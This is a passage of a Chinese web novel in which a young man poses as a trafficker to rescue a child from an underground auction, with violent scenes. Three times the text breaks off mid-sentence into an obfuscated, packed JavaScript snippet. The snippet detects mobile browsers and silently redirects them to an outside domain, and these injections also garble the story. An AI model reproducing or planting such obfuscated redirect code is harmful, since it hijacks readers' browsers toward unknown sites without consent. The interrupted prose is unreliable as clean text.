程书阑弓着腰背,做贼似的躲在盆栽后面,扭头就看到老头一脸莫名其妙地盯着自己。 他沉默片刻,对老头尬笑了下。 老头没有吭声,眼皮开始要落不落,又打起瞌睡来。 程书阑:“……” 他索性将目光投回莱特医生身上,不料又看到一个眼熟的身影。 昨天在院子外面拦住他的那个魁梧男不知何时走到莱特医生身边,双手背在身后,面无表情地用那双吊三角眼睛盯着帽子男。 帽子男脸色发青,不太高兴,还想说什么,可瞥见魁梧男的身形,只好把话咽了回去。 不一会儿,魁梧男离开,莱特医生也往沃斯诊所那边去了,剩下的帽子男在原地站了有几分钟,转身朝另一个方向走了。 程书阑跟在帽子男后面。 帽子男明显有些焦虑和烦躁,脚步很快,一下子转进了一条巷子里,还没停下,便摸出通讯器拨了一个联系方式。 这下程书阑没有离得太远,他动作很轻地贴墙过去,在一个死角位置站好。 他竖起耳朵,正好能听清楚帽子男的说话声。 “我尽力了,他们说什么都不肯在今天定下来,等明天才给答复,亏他们还开诊所,做的全是黑心肝的事。” “我已经把钱往上提了20万,他们就是咬紧了牙不松口,我实在没有办法。” “还不知道明天是什么情况,那个姓李的给我开好房了,让我休息到明天上午九点下去集合,到时候还要来不少人,估计想要我们竞争。” “真是可惜了,难得见到一个年纪这么小的omega,可塑性很强,还说今天就带回去好好培养,等几年可以顶上那个位置。” 帽子男原本背对程书阑,似乎准备挂语音了,一边说话一边回过身来。 程书阑见状,下意识地要往后避,可在听清楚那些话后,动作不自觉地僵了一下。 他看了一眼男人的帽子。 帽檐压得很低,遮挡了男的上半张脸。 这一刻,一股冲动蓦地窜上来,没有更多犹豫,他猛提口气,弯腰捡起地上半块砖头,三步并做两步地朝帽子男走去。 他走得极快,没能刻意压住脚步声。 没想到帽子男的反应速度也快,听见声音,刷了一下扭回头来,因过度惊吓而骤然收缩的瞳孔里映出程书阑手里扬起的半块砖头。 帽子男没有任何怔愣,立马就往旁躲。 但程书阑早有准备。 下一秒,半块砖头准确无误地拍在帽子男的太阳穴上,沉闷的声响叫人牙酸不已。 在惯性的带动下,程书阑的身体都晃过去了半圈,没等他站稳,帽子男已经倒下。 刚才用力过猛,他眼前阵阵发黑,心跳快得仿佛心脏要从嗓子眼里蹦出来,他连忙扔掉砖头,踉踉跄跄地扶在墙壁上喘了好几口气。 等缓过神来,他马不停蹄地检查帽子男的情况。 人没事,只是昏过去了。 程书阑犹豫了下,到底做不出直接把人拍死的行为,他以最快的速度扒掉帽子男的大衣和帽子,想了想还是把里面的毛衣也换了。 帽子男身高一般,但身形偏瘦,衣服穿在程书阑身上除了有点短外,其他都很合适。 程书阑还在大衣兜里摸到了星星旅馆的门卡。 他给帽子男裹上自己的衣服,然后将帽檐往下一压,背起帽子男跌跌撞撞地回了旅馆。 不知为何,这一带的监控非常少,可以说几乎没有,他之前特意看过,连星星旅馆的大门都没安装监控。 老头依然坐在木桌后面,闭着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647795|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,不知道哪儿来这么多瞌睡。 程书阑生怕撞到那个魁梧男,不敢耽搁丝毫,直到实在背不动帽子男了,才把人扔到地上,拖着衣服往前走。 好不容易来到1042房间,他把人拖进去,关上房门并反锁。 此时,悬着的心终于落地。 程书阑靠在门上休息许久,像是灵魂逐渐归位,他虚弱地抬手摘掉帽子,走向放在茶几上的那个手提箱。 手提箱应该是帽子男带来的,上面卡着的数字就是密码。 他轻轻一按。 箱子咔嚓一声开了。 随着箱盖的打开,里面一堆绳子、胶布以及许多没有包装也没贴任何标签的瓶瓶罐罐全部暴露在程书阑的视线里。 用脚趾头想也能猜到这些东西准备用到谁身上。 箱子中间似乎还有一个隔层。 程书阑发现了这一点,伸手在箱子内侧摸了摸,还真摸到了一个卡扣。 他把上面的东西都拿出来,解开卡扣,揭开隔层,只见下面严丝合缝地卡了一层泡沫。 泡沫里被挖了几个洞,洞里则嵌着两把黑亮的手/枪和几个弹夹。 程书阑一时安静。 他活了十八年,除了上次在超市老板那里看到手/枪外,这是他第一次接触这种以前在电视里才能看到的东西。 他小心地扣出一把手/枪,拿在手里试了下。 很轻。 好像以前拿着手机一样。 他仔细观察许久,把手/枪放了回去,接着拿起两捆绳子和几个胶布,大步流星地走向倒在门前的帽子男,他直接把人包成一个粽子,用胶布缠满整张脸,只露出一个用于呼吸的小孔,然后将人塞进了柜子下面的小空间里。 帽子男的通讯器可以刷信用点,程书阑去外面吃了东西,没等天黑,便回旅馆躺在了床上。 奔波一天下来,他又累又困,不多时,眼皮开始打架。 第二天,程书阑被一阵敲门声吵醒,他手忙脚乱地从床上爬起来,衣服没脱,只需要扣上帽子就行。 他站在门前深吸口气,放平心态后,拧开门把手。 被帽檐遮挡了一半的视线里出现两个壮硕男人的下半身,他心头一跳,当即将视线往上抬去,余光看见两张陌生面孔,卡在喉咙里的那口气松了一些。 但只是一些。 程书阑不知道这两个人是谁,只能默不作声,静观其变。 好在其中一人主动开口道:“老板,我们现在要做什么吗?” 粗犷的声音里居然带了一丝讨好。 程书阑装模作样地拿出通讯器看了看时间,想到昨天帽子男的话,他说:“时间快到了,等会儿你们和我一起下去。” 两个男人同时点头,还是那个人说:“老板,你有什么事尽管吩咐就行。” 程书阑没让两人进房间,关上门后,他一边收拾一边仔细回想昨天帽子男那些话的细枝末节。 帽子男说的“下去”。 “下去”是什么意思? 藏人的地方在下面吗? 他站在卫生间里,将毛衣的衣领拉高,又把帽檐往下压了压,才走出去让等在外面的两人跟上。 程书阑打算去昨天莱特医生和帽子男经过的地方碰碰运气,谁知刚走过去,就发现了走廊尽头那扇被涂成黑色的房间门。 十分显眼,让人想不注意都难。 而且门敞开着。 不用进去就能看到通往下面的楼梯。 程书阑:“……” 他昨天找得那么艰难,以为藏人的地方在一个非常隐蔽的位置,甚至把很多房间的衣柜和床底都翻了个遍。 结果—— 入口就这么光明正大地摆在这里? 5. 买人 程书阑让两个男人紧跟自己,谨慎地往楼梯下走。 他双手揣在大衣兜里,箱子里一共两把手枪,正好一个兜里放一个。 但他不敢碰到手枪,生怕走火。 虽然昨天在帽子男的通讯器上搜了手枪的用法,但是毕竟还没上手,很多知识只停留在理论上面。 其实他还尝试过用帽子男的通讯器联系其他人。 可惜这里的通讯器和他以前用的手机大不一样,他研究半天,发现通讯器只能联系通讯录上的人,就像他用原主的私人通讯器无法联系学校一样,要联系学校只能用学校发的那个通讯器。 唉。 程书阑在心里叹口气。 走下楼梯又是一条狭窄的通道,地面由石砖砌成,其他三面都是被拍结实的土墙,左右两边装有灯泡,形成两条明亮的光线,笔直地通往前方。 尽头又是一扇被涂成黑色的门。 推开门,视线豁然开朗。 面前是一个不大不小的会客厅,只在中间放了沙发和茶几等简单摆设。 不过这会儿厅里已经或坐或站了好些人,不知道那些人是否认识,程书阑走进去时,里面没有一点交谈声。 他走进去后,所有人的目光都不可避免地落到他身上。 程书阑第一次经历这种事,身体不受控地绷紧,他只能尽量迫使自己冷静下来。 他环视一圈室内,发现正对面有一扇通往里面的门,但门紧闭着,那些人也都是一副在外面等待的样子,便坐到了离进来的门最近的沙发上。 两个男人一直紧跟着他,见他坐下,也一左一右地护在沙发两侧。 落在身上的视线数量逐渐减少,被观察的感觉有所减轻,程书阑才将手从兜里拿出,装模作样地翘着二郎腿,双手交叠地放在腿上。 实际上他手心里已经溢出一层细汗。 等了十来分钟,又有一些人从外面进来,大部分人和他一样带了随从,大家三三两两地聚在一起,会客厅里一下子变得十分拥挤。 这时,里面的门打开,一道女声响起。 “各位久等了。” 坐在沙发上的人迫不及待地站了起来,只有程书阑愣了一下。 他连忙起身,默不作声地站在迅速向那扇门靠拢的人群后面。 悄悄抬头看去。 被围在人群前的女生果然是他在沃斯诊所里碰到的那个护士,那天对方以为他是感染者,盯着他的脸观察了很久。 程书阑的心都凉了半截,大气不敢喘,跟在一个高个男人身后往里面走。 女生还在前面高声介绍:“大家都是这里的老熟人了,想必这次来的目的也很明确,我就不绕弯子了,货物已经准备好,至于能不能带走,就看各位有多少诚意了。” 高个男说道:“一个omega而已,又不是没见过,至于稀罕成这样吗?” 旁边有人接话:“你把整个第9城翻一遍,看能不能找到第二个omega。” “这些年偷偷跑来我们外城的omega还少了?”高个男说,“听说前不久主城的军事学院举办新生演练,就送了很多alpha和omega来我们第9城,要是能趁机抓住一个omega,估计未来五年都不用工作了。” 前面有人开口:“那些omega可不是被alpha养在家里生孩子的娇花,你敢碰他们?头都给你拧下来。” 高个男发出一声不屑的嗤笑:“你也太看得起那些omega了。” “omega也有精神力。” “omega的精神力能和alpha比?不过是进化着玩儿罢了。” “行了,别再说不相干的话题了。”终于有人不耐烦地打断了这场谈话,他对走在最前面的女生说,“我今天第一次过来,还没见过那个omega,能先带我看看吗?” “当然可以。”女生回答。 门后是一条较为宽敞的走廊,地面上铺有柔软的红色地毯,女生本来领着他们往前走,闻言便转进了右边的一条走廊。 走到左边第二个房间外,女生停下脚步,将门打开。 但她并未进去,而是站在门外另一侧,对后面的人做了一个请的手势。 程书阑走在最后,等前面的人都进去了,他才埋头往里走。 从女生面前经过时,对方冷不丁地冒出一句:“等等。” 刹那间,程书阑感觉自己的呼吸和心跳同时一抖,灵魂都要从身体里飞出去了。 他下意识地刹住脚步,将紧张得不知该如何安放的双手握紧成拳放回兜里。 “怎么了?”他微偏过头,用压低的声音问道。 余光中女生面对着他,如炬的目光直勾勾地落在他的脸上。 这一刻,程书阑混乱的脑子里开始闪出自己被发现身份后所有可能会出现的画面,毫无疑问,不管在哪个画面里,他的下场都不怎么好。 等待的时间格外漫长,一秒钟仿佛被延长成了一分钟,一分钟又分裂成了无数个一小时。 不知道过了多久,也许只有片刻,女生礼貌地说:“不好意思,先生,里面空间小,您一个人进去就可以了。” 程书阑一愣,扭头看了一眼跟在自己身后的两个男人,明白过来女生的意思后,他松口气的同时,吩咐道:“你们就在外面等。” 里面的空间确实不大,一间小卧室,没有任何家具,只有墙角堆着一条凌乱的毛毯。 此时,毛毯上面蜷缩着一个小孩。 程书阑走在最后,却一眼就认出了诸珠,熟悉的背带裤和毛衣都比之前脏了不止一点,柔软的黑发乱蓬蓬地顶在脑袋上,脸蛋也脏兮兮的,额头上甚至有一条已经凝固的血痂。 看得出来诸珠在被抓前有多拼命地想要逃走。 面对一群突然涌进房间里的陌生人,诸珠习以为常,既没哭闹也没表现出害怕的模样,他背抵墙角,双手圈着膝盖,一动不动地垂眼望着自己的黑色小皮鞋。 那张小脸没有表情,显得麻木又冷漠。 房间里很吵,很多人都在说话。 “怎么回事?把人弄成这样,都拿出来卖了也不知道给他收拾一下?” 房间的门没关,女生站在外面,耐心解释道:“这个小omega的脾气不好,给他收拾的时候,咬了我们的人一口,都把手臂上的肉咬下来了,我们暂时动不了他,只能麻烦买主回去帮他收拾了。” 还是高个男开口:“他额头上有条疤?omega的精神力不是可以治愈吗?他连自己都治愈不了?” “他的年纪还小。”女生继续解释道,“alpha和omega的精神力都需要专人指导,有些ao从落地起就有人教导,但有些ao家里条件一般,等年满六岁上小学后才有老师教导,他可能是后者。” “测过他的精神力等级了吗?”有人问道。 女生笑了笑:“这就不是我们该做的了。” 验货结束,女生招呼大家出去,程书阑排在最后,也刚好在这个时候走到诸珠面前。 诸珠低着脑袋,小小的身体缩成一团,看似对房间里发生的一切都毫无反应,但细看之下就会发现那双拽着裤子的手一直在微微发抖。 程书阑轻咳一声。 诸珠似乎对他的声音十分熟悉,当即一僵。 程书阑已经观察到这个房间里没有监控,唯一担心的是诸珠情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647796|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失控,看到他后不管不顾地朝他扑来。 幸好他的担心是多余的。 诸珠甚至没有立马抬头,又呆坐了一会儿,才抬起眼皮飞快地往上瞥了一下。 一大一小、一站一坐。 就这么四目相对。 这一瞬间,程书阑看到了那张小脸上的震惊和委屈,滔天的情绪在一秒内聚集起来,又一下子全部散开。 诸珠很快垂下眼皮,将自己的双腿抱得更紧。 程书阑对诸珠没有感情,更没把这个陌生小孩当成自己儿子看待,可看到这一幕时,心里很不是滋味。 在他昏迷不醒的那几天里,都是这个小孩在照顾他。 走出房间,女生带着大家去了原来走廊上的一间会议室,里面已经有不少人在等着,都是卖方的人。 程书阑不动声色地打量一圈,没有看到莱特医生和那个魁梧男的身影。 保镖依然不能进来,外面乌泱泱地站了十多个人,剩下的人在会议室里各自落座,女生站在长桌一头,开始讲这次卖货的规矩——简而言之,价高者得。 程书阑听得有些紧张。 其实他的计划很简单,就是用信用点把诸珠买下来,但前提是帽子男账户里的信用点够用。 昨天他按照原主的记忆查了一下帽子男账户里的信用点,一共三十多万,也就是说,如果其他人肯出高于三十多万的价格,那他就没戏了。 除非这里可以赊账。 但想也知道不可能,也许在他提出赊账之后,还会和那个魁梧男碰上。 好不容易等女生讲完,程书阑屏息凝神,听见女生报出了第一个数字:“我们的底价是三十五万信用点。” 程书阑:“……” 女生说:“好了,大家可以出价了。” 程书阑:“……” 如果他没记错的话,帽子男通讯器里的信用点刚好差几百到三十五万。 这也太穷了吧! 过来买人却连起拍价都没有! “四十万。”高个男率先说道。 旁边的人一见急了,连忙加价:“我出五十万。” 程书阑再也坐不住了,趁着其他人激情出价,他起身就往会议室外走,还好会议室里有高个男带头吵闹,没人注意到他。 只有守在外面的两个男人朝他走来。 “你们不用跟着我。”程书阑说,“我去趟卫生间。” 两个男人忙说好的。 程书阑一边走一边以最快的速度回忆下来后看到的监控数量。 监控数量不多,下来的楼梯上有一个,会客厅有一个,每条走廊上各有一个,房间里和会议室里没有。 不知道是不是监控数量有限,目前看来,监控都安装在房间外面。 而且这里看守不严,好像除保镖外的所有人都集中在了会议室里,外面根本没有守门和巡逻的人。 程书阑把手伸进兜里,轻轻握住手枪。 就在他走到走廊的交汇口时,余光里突然瞥见一道高大身影,竟然是那个魁梧男从会客厅的方向过来了。 好在魁梧男手里拿着通讯器,在听对面的人说话,没有发现他。 程书阑的心脏还是骤缩了下,赶紧躲进另一条走廊里,他没多耽搁,马不停蹄地拧开了左边第二扇房间门。 诸珠还在角落里缩着,看清楚他后,一骨碌地从毯子上爬起来,等他走近,用力扑进他怀里。 “爸爸!”诸珠紧紧抱住程书阑的脖子,他不敢发出太大声音,只用小小的气音呜咽,“我以为你不要我了呜呜呜……” 小孩的眼泪说来就来,眼眶一红,泪水就跟豆子似的一颗接一颗地往下掉。 6. 他真的是Omega?! 程书阑不会抱小孩,手在半空僵了一下,才放到诸珠背上轻轻拍了拍。 “好了好了。”他小声说,“不哭了。” 眼泪鼻涕都擦他脖子上了! 诸珠害怕极了,全然没了之前的麻木和冷漠,挤在程书阑怀里的小身板抖个不停,乱蓬蓬的头发和脏兮兮的脸倒是没往程书阑的脖子上蹭了,但蹭在他的下巴上,嘴里喊着爸爸。 “好了!”程书阑加重语调。 怀里的哭声戛然而止。 程书阑低头看去,对上了一双水汪汪的大眼睛,乌黑的眼珠里夹着怯弱和一丝讨好。 “爸爸……我不哭……”诸珠打着哭嗝,说完立即咬住下嘴唇,生怕声音溢出一点。 程书阑之前就察觉到了,诸珠似乎很害怕他,跟受惊的兔子似的,经常被他的一句话或者一个眼神吓到,但意外的,诸珠又很黏他。 他叹了口气,索性抱着诸珠站起来。 可站到一半,就感觉到了一股阻力。 程书阑偏头一看,发现诸珠的一只脚腕上居然绑着一条不粗不细的绳子,绳子约有一米长,另一头绑在墙角的一个铁钩上。 难怪诸珠一直缩在墙角。 程书阑立刻把诸珠放回毯子上,让他坐好,试图解开诸珠脚腕上的绳子。 然而绳子打了死结,他解了半天,额头上的汗都冒出来了,可死结没有丝毫松动的迹象。 只用手解根本不行。 需要工具。 程书阑这才想起什么,连忙直起身,在裤兜里摸索片刻,很快掏出一把掌心大小的折叠匕首。 匕首细如钢笔,握柄处有一个暗扣,他拇指在凹槽处用力一抵,只听咔的一声轻响,一截短而锋利的刀身瞬间弹出。 这是他昨天吃饭时顺手买的,虽算不上正经匕首,但胜在隐蔽。 “我割绳子了。”程书阑将刀刃贴上绳子,对诸珠说,“疼了就说。” 诸珠的嘴唇咬得发白,用力点了点头。 程书阑实在看不下去:“我没说你不能说话。” 诸珠一喜,马上开口:“好的,爸爸。” 声音里都带着哭腔。 外面的走廊上,魁梧男刚结束通话,他收起通讯器,大步走向会议室。 会议室门外守着十余名保镖,他目光冰冷地扫视一圈,随即推门而入。 嘈杂的声浪从门后扑面而来,里面众人七嘴八舌,争论不休,现场聒噪不已。 魁梧男人眉头一拧,猛然抬手,一拳砸在门板上。 “砰!” 震耳的撞击声中,原本光滑的门板瞬间龟裂,细密的裂纹如蛛网般蔓延开来。 刹那间,所有的声音都消失了。 众人的目光齐刷刷地转向门口,当看清来人的面容和魁梧的身形时,那些即将脱口而出的不满被硬生生咽了回去,一时间会议室里鸦雀无声。 最后,还是站在会议室一头的女生朝魁梧男抬了抬下巴:“来了?” 魁梧男进去拉开一把椅子坐下,才问:“进展怎么样?” 女生揉了揉太阳穴,语气疲惫:“你也看到了,那个小omega太抢手,他们差点就要动手了。” “莱特医生说过,价高者得。”魁梧男声音冷硬,“别在这里浪费时间了。” 女生点了点头,重新整理思路。 魁梧男默不作声地坐着,有他镇场,就连刚才闹得最凶的高个男此刻也缩在座位上,大气不敢出,但魁梧男没把高个男放在眼里,目光不动声色地在会议室里巡视。 不多时,他蓦地抬手打断了女生正在说的话。 女生疑惑道:“怎么了?” “人数不对,少了一个。”魁梧男猛地起身,又确认一遍,脸色沉了下去,“那个姓王的去哪儿了?” “王老板?他不是在……”女生抬手一指,却指到了一个空空如也的座位,顿时僵住。 魁梧男二话不说,转身走出会议室。 他高大的身躯带着骇人的压迫感,门外的保镖们纷纷低头缩肩,目送他大步走回走廊的交汇口。 魁梧男径直转进另一条走廊,右手拔出腰间手枪的同时,左手拧开了左边第二扇房间门的把手。 打开门,他将枪口对准里面。 里面空荡荡的,只有一个小孩蜷缩在墙角的毯子上,瞧见他后,小孩瑟瑟发抖,双手把膝盖抱得更紧。 魁梧男看了一眼绳子。 还在。 房间里没有其他东西,要是来人,根本无处躲藏。 魁梧男环视一圈,直勾勾的目光落回小孩身上,就这么看了好几秒,他收回目光,退出房间。 关上门,女生带着一群人堵在走廊的交汇口。 “找到了吗?”女生问。 “没在里面。”魁梧男命令道,“让所有人一起找,必须把他找出来。” 房间里,门被合上,程书阑的身影才从门后显露出来,他紧贴着墙壁,几乎与阴影融为一体,胸口因过度紧张而剧烈起伏,整张脸褪尽了血色。 他凝神听了片刻,没听见有人回来,便一个箭步冲到诸珠面前,把虚缠在小孩脚腕上的绳子拿开。 他伸手抱起诸珠。 诸珠非常配合地圈住他的脖子,屁股坐在他的一边手臂上,脸颊贴着他的脖子。 小孩很瘦,却也有二三十斤的重量,程书阑抱得非常吃力,他走到门前,脑子里已经乱作一团。 房间里没有窗户,要出去只能走这扇门,可想也知道从这里出去有多困难,估计他们还没走到外面的会客厅就被那些人抓住了。 要出去太困难了。 几乎是不可能的事。 除非他放弃诸珠,继续假扮帽子男,等拍卖结束,他和其他人一起离开。 但那个魁梧男来了,对方可能认得他。 再说—— 程书阑低头看向诸珠。 诸珠刚才哭了半天,眼眶还是红的,一双乌黑眼珠上似乎笼着一层水雾。 察觉到他的视线,小孩仰头和他对视,然后轻轻喊了一声:“爸爸。” 程书阑摸了摸诸珠的背,把小孩放下:“你跟在我后面。” 诸珠连忙拽住程书阑的衣服。 程书阑摸出一把手枪,拿在手里找了找感觉后,轻手轻脚地贴近房间门。 他左手搭上门把手,往旁轻拧。 从这个房间到会客厅的距离其实不远,大约二十几米,转过前面那个弯后一直往前跑就能跑出去。 只要这会儿外面的人不多,他就还有一点机会。 程书阑深吸口气,想先看看外面的情况,小心翼翼地将门拧开一条缝隙,却见外面一片漆黑。 他愣了一下。 外面什么时候把灯关了? 不过下一秒,他意识到了不对劲,本能地抬头,就看到了门缝外那张只露出一点的阴沉面孔。 魁梧男不知何时堵在门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647797|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,高大的身形遮住了外面的所有光线,他居高临下地望着门缝里的程书阑。 程书阑:“……” 他呼吸一紧,心跳差点骤停。 反应过来后,他提枪就要往魁梧男身上打,谁知对方动作速度极快,猛然后退半步,抬脚就往门上踹。 这一脚的力道极大。 被踹飞的门板撞到猝不及防的程书阑身上,一阵剧痛袭来,好像五脏六腑都被撞移了位置,他甚至也往后“飞”了半米,重重摔到地上。 手枪也不知道落到了哪里。 “原来是你。”魁梧男一眼就认出了他,大步走进房间里。 程书阑还没从地上爬起来,就被魁梧男揪着衣服一把拎起来。 他毫无反抗之力,前几天那种头晕目眩的感觉又回来了,他喉间涌出一阵腥甜,张嘴吐出一口血。 “爸爸!”诸珠吓坏了,又哭又叫地扑过来,挥起拳头砸向魁梧男,“坏人,放开我爸爸!” 魁梧男用膝盖往前一顶,轻轻松松地把诸珠顶开了。 诸珠一屁股坐到地上,摔了个四脚朝天,但他马上手脚并用爬起来,又要扑向魁梧男。 这时,其他人从门口窜进来,以女生为首按住了疯狂挣扎的诸珠。 诸珠尖叫得更加大声,扭头一口咬在女生的手臂上。 女生痛呼一声,想推开诸珠的脑袋,没想到诸珠双手抱住她的手臂,咬得越来越用力。 下面有暖气供应,比上面暖和很多,女生穿得不厚,却也有两件衣服,然而即便如此,鲜血也以肉眼可见的速度在她的衣服上洇开。 女生扯着嗓子尖叫:“把他扯开啊!” 其他人见状,手忙脚乱地要把诸珠和女生分开,女生气急败坏,直接抡起胳膊肘往诸珠的脑袋上砸。 诸珠不躲不避,硬生生地受着,痛得小脸上的表情都狰狞了。 “诸珠!”程书阑看得心惊肉跳,一股难以言喻的愤怒从他心头涌出,他破口大骂,“你们这些畜生,他是小孩啊,你们连小孩都打!” 他想过去,却依然被魁梧男抓着,急得挥手就朝魁梧男脸上去。 魁梧男偏头避开他的拳头,随即猛一抬膝。 剧痛再次袭来。 这次程书阑几乎发不出声音,捂着腹部,被魁梧男扔到地上,像只死虾一样地蜷缩起来。 “爸爸!” 他听见了诸珠的哭叫,勉强睁眼,看到诸珠松开了女生的手臂,要往他这边来,却被那些人七手八脚地按住。 “爸爸!爸爸!”诸珠的叫声越来越尖利,不多时,竟然化作了令人毛骨悚然的尖叫。 那尖叫声如同巨石坠入深潭,在空气中激荡开一圈圈无形的波纹。 距离诸珠最近的女生蓦地一颤,鲜血骤然从她的七窍中喷涌而出,她瞪大双眼,喉咙里挤出半声呜咽,似乎想要挣扎起身,可起到一半,她的身体便重重栽倒,再无声息。 ……她死了。 刹那间,整个房间的空气仿佛被抽空了一瞬,继而炸开。 跟着女生冲进来的几人脸色剧变,惊恐地互相推搡着往门外逃窜,却还是陆续倒下了两三个,这下就连魁梧男也瞳孔骤缩,不动声色地后退了两步。 门外传来此起彼伏的骚动。 “怎么可能?!那个孩子居然会精神力攻击?!” “这不是只有alpha才有的能力吗?!” “他真的是omega?!” 7.好爸爸 程书阑踉跄着撑起身子,甩了甩头,等视线变清明了些,第一时间捡起掉在地上的手枪。 诸珠扑过来抱住他的腿,声音带着哭腔:“爸爸,你别死,别丢下我!” 程书阑揉了揉诸珠的头发,顺势把手撑在小孩的脑袋上,他借力喘了口气,眩晕感仍在脑内晃荡,好在地板不再倾斜。 以魁梧男为首的人已经退到房间外面,神情各异地盯着他们。 他看了一眼诸珠。 小孩被他身体的重量压得龇牙咧嘴,依然用全身力气地支撑着他,脊背绷成一张弓。 程书阑想把诸珠抱起来,却实在有心无力,只好牵起诸珠的一只手。 他将枪口对准魁梧男:“放我们出去。” 魁梧男的视线始终黏在诸珠身上,他对程书阑的威胁置若罔闻,但对诸珠的忌惮十分明显。 “他是你儿子吗?beta要生一个alpha孩子可不容易,尤其是我们这些外城居民……” 程书阑还没傻到察觉不出对方在有意拖延时间的地步,厉声打断:“我说放我们出去!” 魁梧男缓缓将视线挪到程书阑身上,那道纵贯半张脸的疤痕让他看上去异常凶狠,他前走了半步:“你看起来年纪不大,还不知道一个alpha多有价值,他可以帮你挣很多钱,只要你……” 话没说完,程书阑扣动扳机。 枪声在密闭空间里炸响。 这是程书阑第一次开枪,说不紧张是不可能的,手枪震感不大,可他还是感觉虎口微微发麻。 他对准了魁梧男的心脏位置,结果子弹偏移,飞入魁梧男的腹部。 魁梧男愣了一下,低头扯开衣服,露出了里面被嵌在防弹衣上的子弹。 程书阑:“……” 所以手枪从一开始就没什么用,除非他有一枪爆头的本事。 他立即调整枪口指向对方头部,同时牵着诸珠往前逼近。 人群顿时骚动起来,那些人对诸珠的恐惧肉眼可见,没等他们靠近,便如躲避瘟疫般推搡着向后退去。 魁梧男也被迫一步步后退,直到退到外面的走廊上,他从牙缝里挤出一句:“好,我放你们走。” 说完,向旁人使了一个眼色。 旁人会意,迅速分开拥挤的人群,硬生生在混乱中辟出一条狭窄的路。 程书阑攥紧诸珠的手,一路跌跌撞撞冲回会客厅,他们走出大门,穿过地下通道,终于踏上回到地面的楼梯。 地下走廊里,嘈杂的说话声逐渐填满安静的空气。 “到底怎么回事?好好一个omega变成alpha就算了,现在还被人带走了,我大老远跑过来是为了什么!” “你们得给我们一个交代!” “alpha也行,反正年纪小,虽然不能像omega那样让他一直生ao性别的孩子,但是也有其他用途,你们把那个小alpha找回来,这笔生意还是做得成。” 魁梧男始终沉默,目光扫过房间里横七竖八且死状恐怖的几具尸体,他忽然转身。 现场此起彼伏的说话声戛然而止。 魁梧男拨开人群,径直朝后面走去。 两个男人缩在人群边缘,面若土色,对上魁梧男阴鸷的目光,大气都不敢出。 魁梧男伸手掐住其中一个的脖子:“你们早就知道了?” “嗬嗬……”被掐住的男人双脚悬空乱蹬,脸色迅速由红转青,他徒劳地挠着魁梧男的手臂。 另一人吓得瘫软在地,声音发颤:“我、我们不知道,今早过来的时候,他就是这个人了,我们不知道他什么时候换人了!” 魁梧男纹丝不动。 “我说的都是真的,我们真的什么都不知道……” 突然,魁梧男五指一松。 被掐的男人重重摔在地上,像条脱水的鱼般蜷缩着,张着嘴疯狂咳嗽。 魁梧男俯下身,阴影完全笼罩两人:“你们上次和他联系是什么时候?” “就是昨天!”那人忙道,“我们和他在通讯器上联系的,他还让我们记得今天按时过来!” “见面呢?” “那是很久以前了,他一直戴着帽子,看不清脸,我们跟着他干了几次活,都不知道他长什么样。” 魁梧男沉默片刻,起身向旁人吩咐道:“去他住的房间找找线索,顺便和他上面的人联系一下,看那些人怎么说。” 另一头,程书阑带着诸珠沿来时的路快步离去。 没走多久,诸珠的脚步越来越沉,攥着程书阑衣角的手指也渐渐脱力。 程书阑回头看到诸珠小脸惨白,单薄的肩膀剧烈起伏,不由放慢脚步。 “走不动了?” “走……走得动……”诸珠像是被他的话吓到了,连忙打直身体,一边喘气一边断断续续地说,“爸爸……我、我走得动……你别丢下我……” 话音未落,程书阑在前面蹲下身。 “上来。”他说。 诸珠愣住,一时间没动,不可思议地喊了一声:“爸爸?” “快上来。”程书阑催促,“我背你。” 诸珠高兴极了,扑到程书阑背上,双臂环上他的脖子,脸颊在他的耳朵上蹭了蹭:“爸爸,你是我的好爸爸。” 程书阑嗯了一声。 “爸爸。”诸珠说得很小声,又无比认真,“我爱你,爸爸。” 程书阑:“……” “爸爸,你爱我吗?” 耳朵被小孩呼出的热气弄得发痒,程书阑实在受不了:“爱爱爱,你是我的好大儿,不爱你爱谁?” 诸珠嘻嘻一笑,把他的脖子搂得更紧。 程书阑一脚深一脚浅,走得颇为吃力,但慢慢的,不知道是不是他的错觉,身上的疼痛竟然在隐隐约约地开始减轻。 回到那栋废弃楼前,他的脚步已比之前快了不少。 他走进那家超市。 熟悉的门铃声响起。 这次女人没在柜台后面坐着,而是拉了一个推车正在补货,瞧见程书阑背上的诸珠,她问:“孩子找到了?” “嗯。” 程书阑弯腰想把诸珠放到地上,结果诸珠没有一点反应。 “孩子睡着了,你都没发现。”女人拉过柜台后面的椅子放在程书阑脚边,然后帮他扶住诸珠的背,“好了,放下来吧。” 程书阑小心地把诸珠放到椅子上。 